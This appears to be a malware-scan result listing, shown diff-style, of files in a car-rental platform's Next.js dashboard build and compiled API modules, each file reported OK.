+/scan/apps/dashboard/.next/cache/webpack/edge-server-production/0.pack: OK
+/scan/apps/dashboard/.next/cache/webpack/server-development/4.pack.gz: OK
+/scan/apps/dashboard/.next/cache/webpack/server-development/index.pack.gz: OK
+/scan/apps/dashboard/.next/cache/webpack/server-development/3.pack.gz: OK
+/scan/apps/dashboard/.next/cache/webpack/server-development/2.pack.gz: OK
+/scan/apps/dashboard/.next/cache/webpack/server-development/index.pack.gz.old: OK
+/scan/apps/dashboard/.next/cache/webpack/server-development/0.pack.gz: OK
+/scan/apps/dashboard/.next/cache/webpack/server-development/1.pack.gz: OK
+/scan/apps/dashboard/.next/cache/webpack/edge-server-development/index.pack.gz: OK
+/scan/apps/dashboard/.next/cache/webpack/edge-server-development/0.pack.gz: OK
+/scan/apps/dashboard/.next/cache/webpack/server-production/index.pack: OK
+/scan/apps/dashboard/.next/cache/webpack/server-production/2.pack: OK
+/scan/apps/dashboard/.next/cache/webpack/server-production/1.pack: OK
+/scan/apps/dashboard/.next/cache/webpack/server-production/index.pack.old: OK
+/scan/apps/dashboard/.next/cache/webpack/server-production/0.pack: OK
+/scan/apps/dashboard/.next/cache/.tsbuildinfo: OK
+/scan/apps/dashboard/.next/images-manifest.json: OK
+/scan/apps/dashboard/.next/react-loadable-manifest.json: OK
+/scan/apps/dashboard/.next/required-server-files.json: OK
+/scan/apps/dashboard/.next/build-manifest.json: OK
+/scan/apps/dashboard/.next/BUILD_ID: OK
+/scan/apps/dashboard/.next/server/pages-manifest.json: OK
+/scan/apps/dashboard/.next/server/edge-runtime-webpack.js: OK
+/scan/apps/dashboard/.next/server/next-font-manifest.js: OK
+/scan/apps/dashboard/.next/server/interception-route-rewrite-manifest.js: OK
+/scan/apps/dashboard/.next/server/server-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/sign-up/[[...sign-up]]/page.js: OK
+/scan/apps/dashboard/.next/server/app/sign-up/[[...sign-up]]/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/sign-up/[[...sign-up]]/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/icon.svg.body: OK
+/scan/apps/dashboard/.next/server/app/icon.svg/route.js: OK
+/scan/apps/dashboard/.next/server/app/icon.svg/route.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/icon.svg.meta: OK
+/scan/apps/dashboard/.next/server/app/forgot-password/page.js: OK
+/scan/apps/dashboard/.next/server/app/forgot-password/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/forgot-password/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(public)/sign-in/page.js: OK
+/scan/apps/dashboard/.next/server/app/(public)/sign-in/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(public)/sign-in/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/reset-password/page.js: OK
+/scan/apps/dashboard/.next/server/app/reset-password/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/reset-password/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/_not-found/page.js: OK
+/scan/apps/dashboard/.next/server/app/_not-found/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/_not-found/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/customers/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/customers/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/customers/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/settings/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/settings/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/settings/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/offers/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/offers/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/offers/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/complaints/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/complaints/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/complaints/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/reservations/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/reservations/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/reservations/new/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/reservations/new/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/reservations/new/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/reservations/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/reservations/[id]/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/reservations/[id]/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/reservations/[id]/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/contracts/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/contracts/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/contracts/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/contracts/[id]/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/contracts/[id]/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/contracts/[id]/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/online-reservations/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/online-reservations/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/online-reservations/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/subscription/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/subscription/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/subscription/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/team/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/team/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/team/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/fleet/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/fleet/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/fleet/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/fleet/[id]/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/fleet/[id]/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/fleet/[id]/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/notifications/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/notifications/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/notifications/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/billing/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/billing/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/billing/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/reports/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/reports/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/reports/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/reviews/page.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/reviews/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/(dashboard)/reviews/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/onboarding/page.js: OK
+/scan/apps/dashboard/.next/server/app/onboarding/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/onboarding/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/app/onboarding/accept-invite/page.js: OK
+/scan/apps/dashboard/.next/server/app/onboarding/accept-invite/page_client-reference-manifest.js: OK
+/scan/apps/dashboard/.next/server/app/onboarding/accept-invite/page.js.nft.json: OK
+/scan/apps/dashboard/.next/server/functions-config-manifest.json: OK
+/scan/apps/dashboard/.next/server/middleware-manifest.json: OK
+/scan/apps/dashboard/.next/server/edge-runtime-webpack.js.map: OK
+/scan/apps/dashboard/.next/server/chunks/935.js: OK
+/scan/apps/dashboard/.next/server/chunks/882.js: OK
+/scan/apps/dashboard/.next/server/chunks/399.js: OK
+/scan/apps/dashboard/.next/server/chunks/945.js: OK
+/scan/apps/dashboard/.next/server/chunks/497.js: OK
+/scan/apps/dashboard/.next/server/chunks/522.js: OK
+/scan/apps/dashboard/.next/server/chunks/466.js: OK
+/scan/apps/dashboard/.next/server/chunks/174.js: OK
+/scan/apps/dashboard/.next/server/chunks/391.js: OK
+/scan/apps/dashboard/.next/server/chunks/135.js: OK
+/scan/apps/dashboard/.next/server/chunks/font-manifest.json: OK
+/scan/apps/dashboard/.next/server/middleware-react-loadable-manifest.js: OK
+/scan/apps/dashboard/.next/server/app-paths-manifest.json: OK
+/scan/apps/dashboard/.next/server/webpack-runtime.js: OK
+/scan/apps/dashboard/.next/server/font-manifest.json: OK
+/scan/apps/dashboard/.next/server/pages/_error.js: OK
+/scan/apps/dashboard/.next/server/pages/_app.js.nft.json: OK
+/scan/apps/dashboard/.next/server/pages/_app.js: OK
+/scan/apps/dashboard/.next/server/pages/_document.js.nft.json: OK
+/scan/apps/dashboard/.next/server/pages/500.html: OK
+/scan/apps/dashboard/.next/server/pages/_error.js.nft.json: OK
+/scan/apps/dashboard/.next/server/pages/_document.js: OK
+/scan/apps/dashboard/.next/server/middleware-build-manifest.js: OK
+/scan/apps/dashboard/.next/server/server-reference-manifest.json: OK
+/scan/apps/dashboard/.next/server/next-font-manifest.json: OK
+/scan/apps/dashboard/.next/server/src/middleware.js.map: OK
+/scan/apps/dashboard/.next/server/src/middleware.js: OK
+/scan/apps/dashboard/.next/package.json: OK
+/scan/apps/dashboard/.next/export-marker.json: OK
+/scan/apps/dashboard/.next/static/css/8ae52adf0b1c11a8.css: OK
+/scan/apps/dashboard/.next/static/Gb8U-hgIH9Z1DzwFtc_hn/_ssgManifest.js: OK
+/scan/apps/dashboard/.next/static/Gb8U-hgIH9Z1DzwFtc_hn/_buildManifest.js: OK
+/scan/apps/dashboard/.next/static/chunks/659-32ceb61450c730cb.js: OK
+/scan/apps/dashboard/.next/static/chunks/476-4833f4b44db6a07d.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/sign-up/[[...sign-up]]/page-3ea321a5617931e1.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/forgot-password/page-7a789ab126c16be3.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(public)/layout-7abf861c1a1f18fb.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(public)/sign-in/page-8b390270c325a1fd.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/reset-password/page-ff9691abdcdcaddb.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/_not-found/page-52efbe887c7da587.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/customers/page-92a363811afd50e8.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/settings/page-aab3ce20c2440dd2.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/offers/page-dddc36556cbedcea.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/complaints/page-83f8fc783279f90d.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/page-b7ce7b94e6c37574.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/layout-63062cca75ad50ee.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/reservations/page-98c1e2eeae249a64.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/reservations/new/page-3966555a3de54dd5.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/reservations/[id]/page-8070d2fbbda0a943.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/contracts/page-00fa56909ed3a2ee.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/contracts/[id]/page-e0cbac7cf1319e7b.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/online-reservations/page-6052ead32c0277c5.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/subscription/page-98a73d301be8823a.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/team/page-b07ca0663678e488.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/fleet/page-ede6bda09cd6c6d2.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/fleet/[id]/page-594d14bd09458b5e.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/notifications/page-eb431530fe66ed8d.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/billing/page-a6741baf83b905c1.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/reports/page-ad33356359f319c2.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/(dashboard)/reviews/page-463839bff36fec40.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/layout-722e64a119877c98.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/onboarding/accept-invite/page-1efc298c9cfd8a8a.js: OK
+/scan/apps/dashboard/.next/static/chunks/app/onboarding/page-608c6288c7e1532d.js: OK
+/scan/apps/dashboard/.next/static/chunks/framework-4569eb30e3fac292.js: OK
+/scan/apps/dashboard/.next/static/chunks/main-app-14a91e17fa03124f.js: OK
+/scan/apps/dashboard/.next/static/chunks/569-53a3cd1167f887f5.js: OK
+/scan/apps/dashboard/.next/static/chunks/842-1dba7e572cd95850.js: OK
+/scan/apps/dashboard/.next/static/chunks/526-df70805b8790138e.js: OK
+/scan/apps/dashboard/.next/static/chunks/813-129f6f9a77cd3e5a.js: OK
+/scan/apps/dashboard/.next/static/chunks/main-87e0960b9ac4d362.js: OK
+/scan/apps/dashboard/.next/static/chunks/703-82e2003d27072bb3.js: OK
+/scan/apps/dashboard/.next/static/chunks/webpack-d055ae73c785d2d9.js: OK
+/scan/apps/dashboard/.next/static/chunks/1dd3208c-0880ceac841d40b2.js: OK
+/scan/apps/dashboard/.next/static/chunks/33-dad1ae36c1ae23b5.js: OK
+/scan/apps/dashboard/.next/static/chunks/pages/_app-d9a8bdd7b6f61e08.js: OK
+/scan/apps/dashboard/.next/static/chunks/pages/_error-5751b2674447914c.js: OK
+/scan/apps/dashboard/.next/static/chunks/polyfills-78c92fac7aa8fdd8.js: OK
+/scan/apps/dashboard/.next/prerender-manifest.json: OK
+/scan/apps/dashboard/.next/routes-manifest.json: OK
+/scan/apps/dashboard/.next/app-path-routes-manifest.json: OK
+/scan/apps/dashboard/.next/app-build-manifest.json: OK
+/scan/apps/dashboard/.next/next-server.js.nft.json: OK
+/scan/apps/dashboard/.next/next-minimal-server.js.nft.json: OK
+/scan/apps/dashboard/next-env.d.ts: OK
+/scan/apps/dashboard/README.md: OK
+/scan/apps/dashboard/tailwind.config.ts: OK
+/scan/apps/dashboard/.turbo/turbo-build.log: OK
+/scan/apps/dashboard/public/vehicle-condition-template.png: OK
+/scan/apps/dashboard/public/rentalcardrive.png: OK
+/scan/apps/dashboard/package.json: OK
+/scan/apps/dashboard/.env: OK
+/scan/apps/dashboard/tsconfig.json: OK
+/scan/apps/dashboard/postcss.config.js: OK
+/scan/apps/dashboard/src/middleware.ts: OK
+/scan/apps/dashboard/src/app/sign-up/[[...sign-up]]/page.tsx: OK
+/scan/apps/dashboard/src/app/icon.svg: OK
+/scan/apps/dashboard/src/app/forgot-password/ForgotPasswordPageClient.tsx: OK
+/scan/apps/dashboard/src/app/forgot-password/page.tsx: OK
+/scan/apps/dashboard/src/app/layout.tsx: OK
+/scan/apps/dashboard/src/app/(public)/layout.tsx: OK
+/scan/apps/dashboard/src/app/(public)/sign-in/page.tsx: OK
+/scan/apps/dashboard/src/app/reset-password/ResetPasswordPageClient.tsx: OK
+/scan/apps/dashboard/src/app/reset-password/page.tsx: OK
+/scan/apps/dashboard/src/app/sign-in/[[...sign-in]]/SignInPageClient.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/customers/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/settings/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/offers/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/complaints/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/reservations/new/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/reservations/[id]/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/reservations/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/contracts/[id]/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/contracts/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/online-reservations/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/subscription/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/team/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/layout.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/fleet/[id]/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/fleet/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/notifications/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/billing/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/reports/page.tsx: OK
+/scan/apps/dashboard/src/app/(dashboard)/reviews/page.tsx: OK
+/scan/apps/dashboard/src/app/globals.css: OK
+/scan/apps/dashboard/src/app/onboarding/accept-invite/page.tsx: OK
+/scan/apps/dashboard/src/app/onboarding/page.tsx: OK
+/scan/apps/dashboard/src/components/ui/BilingualInput.tsx: OK
+/scan/apps/dashboard/src/components/ui/StatCard.tsx: OK
+/scan/apps/dashboard/src/components/reservations/DamageInspectionCard.tsx: OK
+/scan/apps/dashboard/src/components/reservations/VehicleConditionSheet.tsx: OK
+/scan/apps/dashboard/src/components/reservations/ReservationPhotoSection.tsx: OK
+/scan/apps/dashboard/src/components/layout/PublicHeader.tsx: OK
+/scan/apps/dashboard/src/components/layout/PublicFooter.tsx: OK
+/scan/apps/dashboard/src/components/layout/TopBar.tsx: OK
+/scan/apps/dashboard/src/components/layout/PublicShell.tsx: OK
+/scan/apps/dashboard/src/components/layout/Sidebar.tsx: OK
+/scan/apps/dashboard/src/components/layout/DashboardAccessGuard.tsx: OK
+/scan/apps/dashboard/src/components/I18nProvider.tsx: OK
+/scan/apps/dashboard/src/components/team/InviteModal.tsx: OK
+/scan/apps/dashboard/src/components/team/PermissionsMatrix.tsx: OK
+/scan/apps/dashboard/src/components/team/EditMemberModal.tsx: OK
+/scan/apps/dashboard/src/components/VehicleCalendar.tsx: OK
+/scan/apps/dashboard/src/components/VehiclePricingManager.tsx: OK
+/scan/apps/dashboard/src/hooks/useTeam.ts: OK
+/scan/apps/dashboard/src/lib/urls.ts: OK
+/scan/apps/dashboard/src/lib/api.ts: OK
+/scan/apps/dashboard/src/lib/preferences.ts: OK
+/scan/apps/dashboard/src/lib/appUrls.ts: OK
+/scan/apps/dashboard/src/lib/dashboardPaths.ts: OK
+/scan/apps/api/.DS_Store: OK
+/scan/apps/api/dist/middleware/requireApiKey.d.ts: OK
+/scan/apps/api/dist/middleware/rateLimiter.js.map: OK
+/scan/apps/api/dist/middleware/requireRole.d.ts.map: OK
+/scan/apps/api/dist/middleware/requireCompanyAuth.d.ts.map: OK
+/scan/apps/api/dist/middleware/authHelpers.d.ts.map: OK
+/scan/apps/api/dist/middleware/requireAdminAuth.js: OK
+/scan/apps/api/dist/middleware/authHelpers.js: OK
+/scan/apps/api/dist/middleware/requireRenterAuth.js: OK
+/scan/apps/api/dist/middleware/requireTenant.d.ts: OK
+/scan/apps/api/dist/middleware/requireTenant.d.ts.map: OK
+/scan/apps/api/dist/middleware/requireRenterAuth.js.map: OK
+/scan/apps/api/dist/middleware/requireAdminAuth.js.map: OK
+/scan/apps/api/dist/middleware/requireSubscription.d.ts.map: OK
+/scan/apps/api/dist/middleware/requireApiKey.js: OK
+/scan/apps/api/dist/middleware/requireCompanyAuth.js: OK
+/scan/apps/api/dist/middleware/rateLimiter.d.ts: OK
+/scan/apps/api/dist/middleware/requireSubscription.js: OK
+/scan/apps/api/dist/middleware/requireRenterAuth.d.ts.map: OK
+/scan/apps/api/dist/middleware/requireAdminAuth.d.ts.map: OK
+/scan/apps/api/dist/middleware/requireRenterAuth.d.ts: OK
+/scan/apps/api/dist/middleware/requireSubscription.js.map: OK
+/scan/apps/api/dist/middleware/requireTenant.js.map: OK
+/scan/apps/api/dist/middleware/requireApiKey.js.map: OK
+/scan/apps/api/dist/middleware/rateLimiter.js: OK
+/scan/apps/api/dist/middleware/requireRole.js: OK
+/scan/apps/api/dist/middleware/rateLimiter.d.ts.map: OK
+/scan/apps/api/dist/middleware/requireTenant.js: OK
+/scan/apps/api/dist/middleware/requireRole.js.map: OK
+/scan/apps/api/dist/middleware/requireSubscription.d.ts: OK
+/scan/apps/api/dist/middleware/authHelpers.js.map: OK
+/scan/apps/api/dist/middleware/requireCompanyAuth.d.ts: OK
+/scan/apps/api/dist/middleware/requireAdminAuth.d.ts: OK
+/scan/apps/api/dist/middleware/authHelpers.d.ts: OK
+/scan/apps/api/dist/middleware/requireCompanyAuth.js.map: OK
+/scan/apps/api/dist/middleware/requireApiKey.d.ts.map: OK
+/scan/apps/api/dist/middleware/requireRole.d.ts: OK
+/scan/apps/api/dist/app.d.ts.map: OK
+/scan/apps/api/dist/app.js.map: OK
+/scan/apps/api/dist/app.d.ts: OK
+/scan/apps/api/dist/swagger/openapi.js: OK
+/scan/apps/api/dist/swagger/openapi.d.ts.map: OK
+/scan/apps/api/dist/swagger/openapi.js.map: OK
+/scan/apps/api/dist/swagger/openapi.d.ts: OK
+/scan/apps/api/dist/tests/setup.d.ts: OK
+/scan/apps/api/dist/tests/setup.d.ts.map: OK
+/scan/apps/api/dist/tests/setup.js.map: OK
+/scan/apps/api/dist/tests/setup.js: OK
+/scan/apps/api/dist/tests/helpers/fixtures.d.ts.map: OK
+/scan/apps/api/dist/tests/helpers/fixtures.js: OK
+/scan/apps/api/dist/tests/helpers/fixtures.d.ts: OK
+/scan/apps/api/dist/tests/helpers/fixtures.js.map: OK
+/scan/apps/api/dist/index.js: OK
+/scan/apps/api/dist/http/validate/index.js: OK
+/scan/apps/api/dist/http/validate/index.js.map: OK
+/scan/apps/api/dist/http/validate/index.d.ts: OK
+/scan/apps/api/dist/http/validate/index.d.ts.map: OK
+/scan/apps/api/dist/http/respond/index.js: OK
+/scan/apps/api/dist/http/respond/index.js.map: OK
+/scan/apps/api/dist/http/respond/index.d.ts: OK
+/scan/apps/api/dist/http/respond/index.d.ts.map: OK
+/scan/apps/api/dist/http/errors/errorMiddleware.js: OK
+/scan/apps/api/dist/http/errors/index.js: OK
+/scan/apps/api/dist/http/errors/errorMiddleware.d.ts.map: OK
+/scan/apps/api/dist/http/errors/index.js.map: OK
+/scan/apps/api/dist/http/errors/errorMiddleware.js.map: OK
+/scan/apps/api/dist/http/errors/index.d.ts: OK
+/scan/apps/api/dist/http/errors/index.d.ts.map: OK
+/scan/apps/api/dist/http/errors/errorMiddleware.d.ts: OK
+/scan/apps/api/dist/http/upload/index.js: OK
+/scan/apps/api/dist/http/upload/index.js.map: OK
+/scan/apps/api/dist/http/upload/index.d.ts: OK
+/scan/apps/api/dist/http/upload/index.d.ts.map: OK
+/scan/apps/api/dist/lib/emailTranslations.d.ts.map: OK
+/scan/apps/api/dist/lib/storage.js.map: OK
+/scan/apps/api/dist/lib/isDatabaseUnavailable.d.ts.map: OK
+/scan/apps/api/dist/lib/emailTranslations.js: OK
+/scan/apps/api/dist/lib/storage.d.ts.map: OK
+/scan/apps/api/dist/lib/prisma.js.map: OK
+/scan/apps/api/dist/lib/prisma.d.ts: OK
+/scan/apps/api/dist/lib/isDatabaseUnavailable.d.ts: OK
+/scan/apps/api/dist/lib/isDatabaseUnavailable.js: OK
+/scan/apps/api/dist/lib/prisma.d.ts.map: OK
+/scan/apps/api/dist/lib/emailTranslations.d.ts: OK
+/scan/apps/api/dist/lib/redis.js.map: OK
+/scan/apps/api/dist/lib/isDatabaseUnavailable.js.map: OK
+/scan/apps/api/dist/lib/prisma.js: OK
+/scan/apps/api/dist/lib/redis.d.ts.map: OK
+/scan/apps/api/dist/lib/redis.js: OK
+/scan/apps/api/dist/lib/redis.d.ts: OK
+/scan/apps/api/dist/lib/emailTranslations.js.map: OK
+/scan/apps/api/dist/lib/storage.d.ts: OK
+/scan/apps/api/dist/lib/storage.js: OK
+/scan/apps/api/dist/index.js.map: OK
+/scan/apps/api/dist/index.d.ts: OK
+/scan/apps/api/dist/modules/customers/customer.service.js: OK
+/scan/apps/api/dist/modules/customers/customer.presenter.d.ts.map: OK
+/scan/apps/api/dist/modules/customers/customer.routes.js: OK
+/scan/apps/api/dist/modules/customers/customer.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/customers/customer.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/customers/customer.presenter.js: OK
+/scan/apps/api/dist/modules/customers/customer.service.d.ts: OK
+/scan/apps/api/dist/modules/customers/customer.presenter.js.map: OK
+/scan/apps/api/dist/modules/customers/customer.schemas.js.map: OK
+/scan/apps/api/dist/modules/customers/customer.schemas.js: OK
+/scan/apps/api/dist/modules/customers/customer.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/customers/customer.schemas.d.ts: OK
+/scan/apps/api/dist/modules/customers/customer.routes.js.map: OK
+/scan/apps/api/dist/modules/customers/customer.repo.d.ts: OK
+/scan/apps/api/dist/modules/customers/customer.presenter.d.ts: OK
+/scan/apps/api/dist/modules/customers/customer.repo.js.map: OK
+/scan/apps/api/dist/modules/customers/customer.repo.js: OK
+/scan/apps/api/dist/modules/customers/customer.service.d.ts.map: OK
+/scan/apps/api/dist/modules/customers/customer.routes.d.ts: OK
+/scan/apps/api/dist/modules/customers/customer.service.js.map: OK
+/scan/apps/api/dist/modules/offers/offer.schemas.d.ts: OK
+/scan/apps/api/dist/modules/offers/offer.service.d.ts.map: OK
+/scan/apps/api/dist/modules/offers/offer.repo.d.ts: OK
+/scan/apps/api/dist/modules/offers/offer.schemas.js: OK
+/scan/apps/api/dist/modules/offers/offer.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/offers/offer.schemas.js.map: OK
+/scan/apps/api/dist/modules/offers/offer.routes.js: OK
+/scan/apps/api/dist/modules/offers/offer.service.js: OK
+/scan/apps/api/dist/modules/offers/offer.routes.d.ts: OK
+/scan/apps/api/dist/modules/offers/offer.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/offers/offer.routes.js.map: OK
+/scan/apps/api/dist/modules/offers/offer.repo.js.map: OK
+/scan/apps/api/dist/modules/offers/offer.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/offers/offer.repo.js: OK
+/scan/apps/api/dist/modules/offers/offer.service.d.ts: OK
+/scan/apps/api/dist/modules/offers/offer.service.js.map: OK
+/scan/apps/api/dist/modules/payments/payment.schemas.d.ts: OK
+/scan/apps/api/dist/modules/payments/payment.service.js.map: OK
+/scan/apps/api/dist/modules/payments/payment.schemas.js: OK
+/scan/apps/api/dist/modules/payments/payment.repo.d.ts: OK
+/scan/apps/api/dist/modules/payments/payment.schemas.js.map: OK
+/scan/apps/api/dist/modules/payments/payment.service.d.ts.map: OK
+/scan/apps/api/dist/modules/payments/payment.repo.d.ts.map: OK
+/scan/apps/api/dist/modules/payments/payment.routes.js: OK
+/scan/apps/api/dist/modules/payments/payment.routes.js.map: OK
+/scan/apps/api/dist/modules/payments/payment.repo.js: OK
+/scan/apps/api/dist/modules/payments/payment.service.js: OK
+/scan/apps/api/dist/modules/payments/payment.routes.d.ts: OK
+/scan/apps/api/dist/modules/payments/payment.repo.js.map: OK
+/scan/apps/api/dist/modules/payments/payment.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/payments/payment.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/payments/payment.service.d.ts: OK
+/scan/apps/api/dist/modules/complaints/complaint.routes.js: OK
+/scan/apps/api/dist/modules/complaints/complaint.service.js: OK
+/scan/apps/api/dist/modules/complaints/complaint.schemas.d.ts.map: OK
+/scan/apps/api/dist/modules/complaints/complaint.service.js.map: OK
+/scan/apps/api/dist/modules/complaints/complaint.service.d.ts: OK
+/scan/apps/api/dist/modules/complaints/complaint.schemas.js.map: OK
+/scan/apps/api/dist/modules/complaints/complaint.repo.js.map: OK
+/scan/apps/api/dist/modules/complaints/complaint.routes.d.ts: OK
+/scan/apps/api/dist/modules/complaints/complaint.service.d.ts.map: OK
+/scan/apps/api/dist/modules/complaints/complaint.schemas.js: OK
+/scan/apps/api/dist/modules/complaints/complaint.schemas.d.ts: OK
+/scan/apps/api/dist/modules/complaints/complaint.routes.d.ts.map: OK
+/scan/apps/api/dist/modules/complaints/complaint.repo.js: OK
